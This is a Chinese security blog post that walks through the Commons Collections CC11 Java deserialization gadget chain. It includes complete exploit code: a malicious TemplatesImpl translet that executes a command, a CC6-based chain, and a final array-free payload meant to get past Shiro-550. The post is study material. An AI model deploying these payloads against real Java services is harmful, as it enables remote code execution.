CommonsCollections11利用链分析

原理

首先先回顾一下之前CC1-CC7这七条链,我也忘得差不多了,总体分为两种方式实现代码执行吧:

  • 第一种是CC1和CC6,核心是通过ChainTransformer.tranform方法链式调用构造好的ConstantTransformer.tranformInvokerTransformer.transform方法,实现代码执行
  • 第二类是以CC3为例的通过调用TemplateImpl.newTransform方法实现加载字节码的方式实现代码执行

学CC2的时候就已经说过,CC2已经是CC1和CC4的结合,前半部分用了CC4的入口,后半部分使用了CC1中的InvokerTransformer.transform方法去调用TemplateImpl.newTransform方法去加载字节码,从而实现代码执行。

而CC11像是把CC2的入口改为了CC6,从上图可以看出CC6会调用到LazyMap.get方法后待用传入的Transformer对象的transform方法,CC6是接上了CC1走ChainTransformer.tranform方法进行链式调用,而CC11是接上了CC2,走InvokerTransformer.transform方法去调用TemplateImpl.newTransform方法去实现加载字节码造成代码执行。

代码分析

TemplateImpl加载字节码

首先我们依照CC3链后半部分的实现TemplateImpl.newTransform加载字节码。

首先构造一个恶意类,并且该恶意类需要继承AbstractTranslet类,在其构造函数中执行恶意代码:

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class EvilClass extends AbstractTranslet {
    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}
    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}

    public EvilClass() throws IOException {
        super();
        Runtime.getRuntime().exec("open /System/Applications/Calculator.app");
    }
}

然后就是新建TemplatesImpl对象,利用反射修改属性并且加载字节码,最后手动调用newTransformer方法看看是否能够实现代码执行

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;

public class TemplatesImplEXP {
    // 先定义一个反射修改类内部属性的方法,方便后面直接调用
    public static void setFieldValue(Object obj, String fileNmae, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fileNmae);
        field.setAccessible(true);
        field.set(obj,value);
    }

    public static void main(String[] args) throws Exception {
        TemplatesImpl obj = new TemplatesImpl();

        // 获取恶意类的字节码
        byte[] code = Files.readAllBytes(Paths.get("/Users/john/Documents/code/java/CC11/target/classes/EvilClass.class"));
        byte[][] codes = {code};
        // 反射修改属性
        setFieldValue(obj, "_bytecodes", new byte[][] {code});
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

        // 调用 newTransformer() 方法
        obj.newTransformer();
    }
}

CC6前半部分

原理中说到CC11前半部分是CC6,这里直接把CC6改造一下,利用利用InvokerTransformer去调用TempaltesImpl.newTransformer方法:

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CC11 {
    public static void setFieldValue(Object obj, String fileNmae, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fileNmae);
        field.setAccessible(true);
        field.set(obj,value);
    }

    public static void main(String[] args) throws Exception {
        
        // 构造恶意 TemplatesImpl 对象
        TemplatesImpl obj = new TemplatesImpl();
        // 获取恶意类的字节码
        byte[] code = Files.readAllBytes(Paths.get("/Users/john/Documents/code/java/CC11/target/classes/EvilClass.class"));
        byte[][] codes = {code};
        // 反射修改属性
        setFieldValue(obj, "_bytecodes", new byte[][] {code});
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

        // ================
        // 利用 InvokerTransformer 调用 TemplatesImpl.newTransformer
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(obj),
                new InvokerTransformer("newTransformer", null, null)
        };
        // 假的链子
        Transformer[] fakeTransformer =new Transformer[]{ new ConstantTransformer(1) };
        // 装载
        ChainedTransformer chainedTransformer = new ChainedTransformer(fakeTransformer);

        //===============
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, chainedTransformer);

        TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");

        Map expMap = new HashMap();
        expMap.put(tme, "valuevalue");

        innerMap.remove("keykey");
//        System.out.println(outerMap.isEmpty());

        // ==============
        // 将真正的transformers数组设置进来
        Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
        f.setAccessible(true);
        f.set(chainedTransformer,transformers);

        // ==============
        // 生成序列化字符串
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oss = new ObjectOutputStream(barr);
        oss.writeObject(expMap);
        oss.close();

        // 本地测试触发
        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object) ois.readObject();
    }
}

测试一下,能够执行代码

去掉Transformer 数组

但是这样还不是CC11最终的样子,因为CC11想要干的是不带Transformer数组的链子,其实就是为了规避Shiro-550反序列化时的一个问题:如果反序列化流中包含非Java自身的数组,则会出现无法加载类的错误。

但是不使用Transformer数组的话怎么去实现调用InvokerTransformer.transform(templates)呢,换句话说我们虽然能调用Transformer.transform方法,但是没有ChainTransformer.transform方法怎么实现把恶意的templates对象作为参数传入到InvokerTransformer.transform(templates)方法中。

这里的LazyMap.get方法帮了大忙:

我们知道CC6链是通过LazyMap.get方法去调用Transformer.transform 方法的,仔细看这里传入到transform方法中的参数key,就是调用get方法时候的key,而且这个key还是个Object类型,谢天谢地,如果这个key可控的话就直接传入我们构造好的恶意templates对象就好了。

再看CC6中哪里调用了LazyMap.get方法,找到了TiedMapEntry.getValue方法

这里的key并不是传入的,因此这里的key应该是自身的属性,再看的TiedMapEntry的构造函数:

可以看到TiedMapEntry在新建对象的时候接收两个参数,参数1是一个Map,参数2是就是我们想要控制的key,因此我们在新建TiedMapEntry对象的时候直接传入恶意的templates对象作为key即可。

我们以往构造CommonsCollections Gadget的时候,对 LazyMap#get 方法的参数key是不关心的,因为通常Transformer数组的首个对象是ConstantTransformer,我们通过ConstantTransformer来初始化恶意对象。

但是此时我们无法使用Transformer数组了,也就不能再用ConstantTransformer了。此时我们却惊奇的发现,这个 LazyMap#get 的参数key,会被传进transform(),实际上它可以扮演 ConstantTransformer的角色——一个简单的对象传递者。

我们LazyMap.get(key)直接调用InvokerTransfomer.transform(key),然后像CC2那样调用TempalteImpl.newTransformer()来完成后续调用。

最终EXP:

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CC11 {
    public static void setFieldValue(Object obj, String fileNmae, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fileNmae);
        field.setAccessible(true);
        field.set(obj,value);
    }

    public static void main(String[] args) throws Exception {

        // 构造恶意 TemplatesImpl 对象
        TemplatesImpl obj = new TemplatesImpl();
        // 获取恶意类的字节码
        byte[] code = Files.readAllBytes(Paths.get("/Users/john/Documents/code/java/CC11/target/classes/EvilClass.class"));
        byte[][] codes = {code};
        // 反射修改属性
        setFieldValue(obj, "_bytecodes", new byte[][] {code});
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

        // ================
        // 利用 InvokerTransformer 调用 TemplatesImpl.newTransformer

        InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", null, null);
        // 假的链子
        Transformer fakeTransformer = new ConstantTransformer(1);

        //===============
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, fakeTransformer);
        TiedMapEntry tme = new TiedMapEntry(outerMap, obj);
        Map expMap = new HashMap();
        expMap.put(tme, "valuevalue");
        innerMap.remove(obj);

        setFieldValue(outerMap, "factory", invokerTransformer);

        // ==============
        // 生成序列化字符串
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oss = new ObjectOutputStream(barr);
        oss.writeObject(expMap);
        oss.close();

        // 本地测试触发
        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object) ois.readObject();
    }
}

总结

时隔快半年再来看CC链发现自己已经忘记了很多细节,而且最离谱的是这了链子其实在学Shiro-550的时候已经调过了,一开始还没想起来,到最后发现要去除Transformer数组的时候才想起来好像shiro-550也是不能传入非java原生的数组,才想起来似乎shiro的时候也改造过CC6+Templates的链子,因此CC11其实就是CC6+Templates,那就用之前shiro画的那张图来总结吧。

参考资料

Java反序列化Commons-Collections篇09-CC11链

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇